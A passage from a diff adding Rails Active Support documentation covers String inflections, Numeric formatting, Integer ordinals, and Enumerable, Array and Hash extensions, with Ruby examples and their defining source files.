+"hello".to(10) # => "hello"
+```
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `first(limit = 1)`
+
+The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+#### `last(limit = 1)`
+
+The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.
+
+NOTE: Defined in `active_support/core_ext/string/access.rb`.
+
+### Inflections
+
+#### `pluralize`
+
+The method `pluralize` returns the plural of its receiver:
+
+```ruby
+"table".pluralize # => "tables"
+"ruby".pluralize # => "rubies"
+"equipment".pluralize # => "equipment"
+```
+
+As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
+
+`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
+
+```ruby
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+```
+
+Active Record uses this method to compute the default table name that corresponds to a model:
+
+```ruby
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+ table_name = class_name.to_s.demodulize.underscore
+ pluralize_table_names ? table_name.pluralize : table_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `singularize`
+
+The inverse of `pluralize`:
+
+```ruby
+"tables".singularize # => "table"
+"rubies".singularize # => "ruby"
+"equipment".singularize # => "equipment"
+```
+
+Associations compute the name of the corresponding default associated class using this method:
+
+```ruby
+# active_record/reflection.rb
+def derive_class_name
+ class_name = name.to_s.camelize
+ class_name = class_name.singularize if collection?
+ class_name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `camelize`
+
+The method `camelize` returns its receiver in camel case:
+
+```ruby
+"product".camelize # => "Product"
+"admin_user".camelize # => "AdminUser"
+```
+
+As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
+
+```ruby
+"backoffice/session".camelize # => "Backoffice::Session"
+```
+
+For example, Action Pack uses this method to load the class that provides a certain session store:
+
+```ruby
+# action_controller/metal/session_management.rb
+def session_store=(store)
+ @@session_store = store.is_a?(Symbol) ?
+ ActionDispatch::Session.const_get(store.to_s.camelize) :
+ store
+end
+```
+
+`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:
+
+```ruby
+"visual_effect".camelize(:lower) # => "visualEffect"
+```
+
+That may be handy to compute method names in a language that follows that convention, for example JavaScript.
+
+INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize #=> "SSLError"
+```
+
+`camelize` is aliased to `camelcase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `underscore`
+
+The method `underscore` goes the other way around, from camel case to paths:
+
+```ruby
+"Product".underscore # => "product"
+"AdminUser".underscore # => "admin_user"
+```
+
+Also converts "::" back to "/":
+
+```ruby
+"Backoffice::Session".underscore # => "backoffice/session"
+```
+
+and understands strings that start with lowercase:
+
+```ruby
+"visualEffect".underscore # => "visual_effect"
+```
+
+`underscore` accepts no argument though.
+
+Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:
+
+```ruby
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+ ...
+ qualified_name = qualified_name_for from_mod, const_name
+ path_suffix = qualified_name.underscore
+ ...
+end
+```
+
+INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `titleize`
+
+The method `titleize` capitalizes the words in the receiver:
+
+```ruby
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize # => "Fermat's Enigma"
+```
+
+`titleize` is aliased to `titlecase`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `dasherize`
+
+The method `dasherize` replaces the underscores in the receiver with dashes:
+
+```ruby
+"name".dasherize # => "name"
+"contact_data".dasherize # => "contact-data"
+```
+
+The XML serializer of models uses this method to dasherize node names:
+
+```ruby
+# active_model/serializers/xml.rb
+def reformat_name(name)
+ name = name.camelize if camelize?
+ dasherize? ? name.dasherize : name
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `demodulize`
+
+Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:
+
+```ruby
+"Product".demodulize # => "Product"
+"Backoffice::UsersController".demodulize # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+```
+
+Active Record for example uses this method to compute the name of a counter cache column:
+
+```ruby
+# active_record/reflection.rb
+def counter_cache_column
+ if options[:counter_cache] == true
+ "#{active_record.name.demodulize.underscore.pluralize}_count"
+ elsif options[:counter_cache]
+ options[:counter_cache]
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `deconstantize`
+
+Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:
+
+```ruby
+"Product".deconstantize # => ""
+"Backoffice::UsersController".deconstantize # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+```
+
+Active Support for example uses this method in `Module#qualified_const_set`:
+
+```ruby
+def qualified_const_set(path, value)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ const_name = path.demodulize
+ mod_name = path.deconstantize
+ mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+ mod.const_set(const_name, value)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `parameterize`
+
+The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.
+
+```ruby
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+```
+
+In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `tableize`
+
+The method `tableize` is `underscore` followed by `pluralize`.
+
+```ruby
+"Person".tableize # => "people"
+"Invoice".tableize # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+```
+
+As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `classify`
+
+The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:
+
+```ruby
+"people".classify # => "Person"
+"invoices".classify # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+```
+
+The method understands qualified table names:
+
+```ruby
+"highrise_production.companies".classify # => "Company"
+```
+
+Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `constantize`
+
+The method `constantize` resolves the constant reference expression in its receiver:
+
+```ruby
+"Fixnum".constantize # => Fixnum
+
+module M
+ X = 1
+end
+"M::X".constantize # => 1
+```
+
+If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.
+
+Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".
+
+```ruby
+X = :in_Object
+module M
+ X = :in_M
+
+ X # => :in_M
+ "::X".constantize # => :in_Object
+ "X".constantize # => :in_Object (!)
+end
+```
+
+So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
+
+Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:
+
+```ruby
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+ name.sub(/Test$/, '').constantize
+rescue NameError => e
+ raise NonInferrableMailerError.new(name)
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `humanize`
+
+The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+
+```ruby
+"name".humanize # => "Name"
+"author_id".humanize # => "Author"
+"comments_count".humanize # => "Comments count"
+```
+
+The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
+
+```ruby
+def full_messages
+ full_messages = []
+
+ each do |attribute, messages|
+ ...
+ attr_name = attribute.to_s.gsub('.', '_').humanize
+ attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+ ...
+ end
+
+ full_messages
+end
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+#### `foreign_key`
+
+The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+
+```ruby
+"User".foreign_key # => "user_id"
+"InvoiceLine".foreign_key # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+```
+
+Pass a false argument if you do not want the underscore in "_id":
+
+```ruby
+"User".foreign_key(false) # => "userid"
+```
+
+Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:
+
+```ruby
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+### Conversions
+
+#### `to_date`, `to_time`, `to_datetime`
+
+The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:
+
+```ruby
+"2010-07-27".to_date # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+```
+
+`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:
+
+```ruby
+"2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010
+"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
+```
+
+Default is `:utc`.
+
+Please refer to the documentation of `Date._parse` for further details.
+
+INFO: The three of them return `nil` for blank receivers.
+
+NOTE: Defined in `active_support/core_ext/string/conversions.rb`.
+
+Extensions to `Numeric`
+-----------------------
+
+### Bytes
+
+All numbers respond to these methods:
+
+```ruby
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+```
+
+They return the corresponding amount of bytes, using a conversion factor of 1024:
+
+```ruby
+2.kilobytes # => 2048
+3.megabytes # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes # => -4611686018427387904
+```
+
+Singular forms are aliased so you are able to say:
+
+```ruby
+1.megabyte # => 1048576
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
+
+### Time
+
+Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
+
+These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+as well as adding or subtracting their results from a Time object. For example:
+
+```ruby
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+```
+
+While these methods provide precise calculation when used as in the examples above, care
+should be taken to note that this is not true if the result of `months', `years', etc is
+converted before use:
+
+```ruby
+# equivalent to 30.days.to_i.from_now
+1.month.to_i.from_now
+
+# equivalent to 365.25.days.to_f.from_now
+1.year.to_f.from_now
+```
+
+In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
+[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
+date and time arithmetic.
+
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
+
+### Formatting
+
+Enables the formatting of numbers in a variety of ways.
+
+Produce a string representation of a number as a telephone number:
+
+```ruby
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+```
+
+Produce a string representation of a number as currency:
+
+```ruby
+1234567890.50.to_s(:currency) # => $1,234,567,890.50
+1234567890.506.to_s(:currency) # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506
+```
+
+Produce a string representation of a number as a percentage:
+
+```ruby
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+```
+
+Produce a string representation of a number in delimited form:
+
+```ruby
+12345678.to_s(:delimited) # => 12,345,678
+12345678.05.to_s(:delimited) # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".") # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",") # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05
+```
+
+Produce a string representation of a number rounded to a precision:
+
+```ruby
+111.2345.to_s(:rounded) # => 111.235
+111.2345.to_s(:rounded, precision: 2) # => 111.23
+13.to_s(:rounded, precision: 5) # => 13.00000
+389.32314.to_s(:rounded, precision: 0) # => 389
+111.2345.to_s(:rounded, significant: true) # => 111
+```
+
+Produce a string representation of a number as a human-readable number of bytes:
+
+```ruby
+123.to_s(:human_size) # => 123 Bytes
+1234.to_s(:human_size) # => 1.21 KB
+12345.to_s(:human_size) # => 12.1 KB
+1234567.to_s(:human_size) # => 1.18 MB
+1234567890.to_s(:human_size) # => 1.15 GB
+1234567890123.to_s(:human_size) # => 1.12 TB
+```
+
+Produce a string representation of a number in human-readable words:
+
+```ruby
+123.to_s(:human) # => "123"
+1234.to_s(:human) # => "1.23 Thousand"
+12345.to_s(:human) # => "12.3 Thousand"
+1234567.to_s(:human) # => "1.23 Million"
+1234567890.to_s(:human) # => "1.23 Billion"
+1234567890123.to_s(:human) # => "1.23 Trillion"
+1234567890123456.to_s(:human) # => "1.23 Quadrillion"
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`.
+
+Extensions to `Integer`
+-----------------------
+
+### `multiple_of?`
+
+The method `multiple_of?` tests whether an integer is multiple of the argument:
+
+```ruby
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/integer/multiple.rb`.
+
+### `ordinal`
+
+The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer:
+
+```ruby
+1.ordinal # => "st"
+2.ordinal # => "nd"
+53.ordinal # => "rd"
+2009.ordinal # => "th"
+-21.ordinal # => "st"
+-134.ordinal # => "th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+### `ordinalize`
+
+The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
+
+```ruby
+1.ordinalize # => "1st"
+2.ordinalize # => "2nd"
+53.ordinalize # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize # => "-21st"
+-134.ordinalize # => "-134th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+Extensions to `BigDecimal`
+--------------------------
+
+...
+
+Extensions to `Enumerable`
+--------------------------
+
+### `sum`
+
+The method `sum` adds the elements of an enumerable:
+
+```ruby
+[1, 2, 3].sum # => 6
+(1..100).sum # => 5050
+```
+
+Addition only assumes the elements respond to `+`:
+
+```ruby
+[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]
+```
+
+The sum of an empty collection is zero by default, but this is customizable:
+
+```ruby
+[].sum # => 0
+[].sum(1) # => 1
+```
+
+If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:
+
+```ruby
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum # => 30
+```
+
+The sum of an empty receiver can be customized in this form as well:
+
+```ruby
+[].sum(1) {|n| n**3} # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `index_by`
+
+The method `index_by` generates a hash with the elements of an enumerable indexed by some key.
+
+It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
+
+```ruby
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+```
+
+WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `many?`
+
+The method `many?` is shorthand for `collection.size > 1`:
+
+```erb
+<% if pages.many? %>
+ <%= pagination_links %>
+<% end %>
+```
+
+If an optional block is given, `many?` only takes into account those elements that return true:
+
+```ruby
+ at see_more = videos.many? {|video| video.category == params[:category]}
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `exclude?`
+
+The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
+
+```ruby
+to_visit << node if visited.exclude?(node)
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+Extensions to `Array`
+---------------------
+
+### Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:
+
+```ruby
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7) # => []
+```
+
+Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+
+```ruby
+%w(a b c d).from(2) # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0) # => []
+```
+
+The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.
+
+```ruby
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/array/access.rb`.
+
+### Adding Elements
+
+#### `prepend`
+
+This method is an alias of `Array#unshift`.
+
+```ruby
+%w(a b c d).prepend('e') # => %w(e a b c d)
+[].prepend(10) # => [10]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+#### `append`
+
+This method is an alias of `Array#<<`.
+
+```ruby
+%w(a b c d).append('e') # => %w(a b c d e)
+[].append([1,2]) # => [[1,2]]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+### Options Extraction
+
+When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:
+
+```ruby
+User.exists?(email: params[:email])
+```
+
+That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
+
+If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
+
+In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+
+Let's see for example the definition of the `caches_action` controller macro:
+
+```ruby
+def caches_action(*actions)
+ return unless cache_configured?
+ options = actions.extract_options!
+ ...
+end
+```
+
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.
+
+NOTE: Defined in `active_support/core_ext/array/extract_options.rb`.
+
+### Conversions
+
+#### `to_sentence`
+
+The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:
+
+```ruby
+%w().to_sentence # => ""
+%w(Earth).to_sentence # => "Earth"
+%w(Earth Wind).to_sentence # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+```
+
+This method accepts three options:
+
+* `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
+* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+
+The defaults for these options can be localized, their keys are:
+
+| Option | I18n key |
+| ---------------------- | ----------------------------------- |
+| `:two_words_connector` | `support.array.two_words_connector` |
+| `:words_connector` | `support.array.words_connector` |
+| `:last_word_connector` | `support.array.last_word_connector` |
+
+Options `:connector` and `:skip_last_comma` are deprecated.
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_formatted_s`
+
+The method `to_formatted_s` acts like `to_s` by default.
+
+If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are:
+
+```ruby
+[].to_formatted_s(:db) # => "null"
+[user].to_formatted_s(:db) # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+```
+
+Integers in the example above are supposed to come from the respective calls to `id`.
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+# <contributor>
+# <id type="integer">4356</id>
+# <name>Jeremy Kemper</name>
+# <rank type="integer">1</rank>
+# <url-id>jeremy-kemper</url-id>
+# </contributor>
+# <contributor>
+# <id type="integer">4404</id>
+# <name>David Heinemeier Hansson</name>
+# <rank type="integer">2</rank>
+# <url-id>david-heinemeier-hansson</url-id>
+# </contributor>
+# </contributors>
+```
+
+To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.
+
+By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".
+
+If there's any element that does not belong to the type of the first one the root node becomes "objects":
+
+```ruby
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+# <object>
+# <id type="integer">4583</id>
+# <name>Aaron Batalion</name>
+# <rank type="integer">53</rank>
+# <url-id>aaron-batalion</url-id>
+# </object>
+# <object>
+# <author>Joshua Peek</author>
+# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+# <branch>origin/master</branch>
+# <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+# <committer>Joshua Peek</committer>
+# <git-show nil="true"></git-show>
+# <id type="integer">190316</id>
+# <imported-from-svn type="boolean">false</imported-from-svn>
+# <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+# </object>
+# </objects>
+```
+
+If the receiver is an array of hashes the root element is by default also "objects":
+
+```ruby
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+# <object>
+# <b type="integer">2</b>
+# <a type="integer">1</a>
+# </object>
+# <object>
+# <c type="integer">3</c>
+# </object>
+# </objects>
+```
+
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element.
+
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+# <contributor>
+# <id>4356</id>
+# <name>Jeremy Kemper</name>
+# <rank>1</rank>
+# <url-id>jeremy-kemper</url-id>
+# </contributor>
+# <contributor>
+# <id>4404</id>
+# <name>David Heinemeier Hansson</name>
+# <rank>2</rank>
+# <url-id>david-heinemeier-hansson</url-id>
+# </contributor>
+# </contributors>
+```
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+### Wrapping
+
+The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).
+
+Specifically:
+
+* If the argument is `nil` an empty list is returned.
+* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
+* Otherwise, an array with the argument as its single element is returned.
+
+```ruby
+Array.wrap(nil) # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0) # => [0]
+```
+
+This method is similar in purpose to `Kernel#Array`, but there are some differences:
+
+* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away.
+* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
+* It does not call `to_a` on the argument, though special-cases `nil` to return an empty array.
+
+The last point is particularly worth comparing for some enumerables:
+
+```ruby
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar) # => [[:foo, :bar]]
+```
+
+There's also a related idiom that uses the splat operator:
+
+```ruby
+[*object]
+```
+
+which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
+
+Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s.
+
+NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
+
+### Duplicating
+
+The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
+
+```ruby
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil # => true
+```
+
+NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`.
+
+### Grouping
+
+#### `in_groups_of(number, fill_with = nil)`
+
+The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:
+
+```ruby
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```html+erb
+<% sample.in_groups_of(3) do |a, b, c| %>
+ <tr>
+ <td><%= a %></td>
+ <td><%= b %></td>
+ <td><%= c %></td>
+ </tr>
+<% end %>
+```
+
+The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
+
+```ruby
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+```
+
+And you can tell the method not to fill the last group passing `false`:
+
+```ruby
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `in_groups(number, fill_with = nil)`
+
+The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+```
+
+The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+
+You can change this padding value using the second optional argument:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+```
+
+And you can tell the method not to fill the smaller groups passing `false`:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `split(value = nil)`
+
+The method `split` divides an array by a separator and returns the resulting chunks.
+
+If a block is passed the separators are those elements of the array for which the block returns true:
+
+```ruby
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+```
+
+Otherwise, the value received as argument, which defaults to `nil`, is the separator:
+
+```ruby
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+```
+
+TIP: Observe in the previous example that consecutive separators result in empty arrays.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+Extensions to `Hash`
+--------------------
+
+### Conversions
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+# <foo type="integer">1</foo>
+# <bar type="integer">2</bar>
+# </hash>
+```
+
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`:
+
+* If `value` is a hash there's a recursive call with `key` as `:root`.
+
+* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.
+
+* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.
+
+* If `value` responds to `to_xml` the method is invoked with `key` as `:root`.
+
